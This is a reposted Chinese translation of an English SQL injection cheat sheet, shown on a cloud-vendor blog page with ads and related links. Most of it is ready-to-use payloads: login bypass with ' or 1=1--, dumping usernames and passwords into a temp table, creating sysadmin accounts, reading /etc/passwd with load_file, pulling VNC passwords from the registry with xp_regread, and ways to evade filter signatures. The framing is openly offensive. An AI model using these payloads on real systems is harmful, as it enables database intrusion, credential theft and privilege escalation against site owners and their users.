国外Sql注入资料

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
云数据库 RDS MySQL Serverless,价值2615元额度,1个月
简介:

 

作者: zeroday

组织: blacksecurity.org

翻译:漂浮的尘埃[S.S.T]

1. 介绍

2. 漏洞测试

3. 收集信息

4. 数据类型

5. 获取密码

6. 创建数据库帐号

7. MYSQL操作系统交互作用

8. 服务器名字与配置

9. 从注册表中获取VNC密码

10.逃避标识部分信号

11.用Char()进行MYSQL输入确认欺骗

12.用注释逃避标识部分信号

13.没有引号的字符串

 

1. 当服务器只开了80端口,我们几乎肯定管理员会为服务器打补丁。

最好的方法就是转到网站攻击。SQL注射是最普遍的网站攻击方法之一。

你攻击网站程序,(ASP,JSP,PHP,CGI..)比服务器或者在服务器上运行的操作系统好的多。

SQL注射是一种通过网页输入一个查询命令或者一条指令进行欺骗的方法,很多站点都是从用户的用户名,密码甚至email获取用户的参数。

他们都使用SQL查询命令。

 

2. 首先你用简单的进行尝试。

- Login:' or 1=1--
- Pass:' or 1=1--
http://website/index.asp?id=' or 1=1-- 
这些是简单的方法,其他如下:

- ' having 1=1--
- ' group by userid having 1=1--
- ' Select name FROM syscolumns Where id = (Select id FROM sysobjects Where name = 'tablename')--
- ' union select sum(columnname) from tablename--

3.收集信息

- ' or 1 in (select @@version)--
- ' union all select @@version-- /*这个优秀
这些能找到计算机,操作系统,补丁的真实版本。

 

4.数据类型

oracle 扩展
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB

MySQL 数据库, C:\WINDOWS>type my.ini得到root密码
-->mysql.user
-->mysql.host
-->mysql.db

MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

5.获取密码

';begin declare @var varchar(8000) set @var=':' select

@var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --

6.创建数据库帐号

10. MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin' 加为数据库管理员

MySQL
Insert INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

 

7. MYSQL操作系统交互作用

- ' union select 1,load_file('/etc/passwd'),1,1,1; 这里用到load_file()函数

8.服务器名字与配置

 

- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--

 

9.从注册表中获取VNC密码

- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE\ORL\WinVNC3\Default', /*VNC4路径略有不同
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--

10.逃避标识部分信号

Evading ' or 1=1 Signature
- ' or 'unusual' = 'unusual'
- ' or 'something' = 'some'+'thing'
- ' or 'text' = N'text'
- ' or 'something' like 'some%'
- ' or 2 > 1
- ' or 'text' > 't'
- ' or 'whatever' in ('whatever')
- ' or 2 BETWEEN 1 and 3

 

11.用Char()进行MYSQL输入确认欺骗

不用引号注射(string = "%")

--> ' or username like char(37);

用引号注射(string="root"):

è ' union select * from users where login = char(114,111,111,116);
load files in unions (string = "/etc/passwd"):
-->'unionselect 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

 

12. 用注释逃避标识部分信号

-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')

 

13.没有引号的字符串

--> Insert INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64) 

















本文转hackfreer51CTO博客,原文链接:

http://blog.51cto.com/pnig0s1992/489585

,如需转载请自行联系原作者

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
3天前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
13 0
|
20小时前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
5天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
16 0
|
7天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 参数详解
SQL 注入神器:SQLMap 参数详解
|
13天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
25 0
|
14天前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
14天前
|
SQL 存储 安全
|
14天前
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
14天前
|
SQL Oracle 关系型数据库
利用 SQL 注入提取数据方法总结
利用 SQL 注入提取数据方法总结
|
14天前
|
SQL 关系型数据库 MySQL
利用 SQL 注入识别数据库方法总结
利用 SQL 注入识别数据库方法总结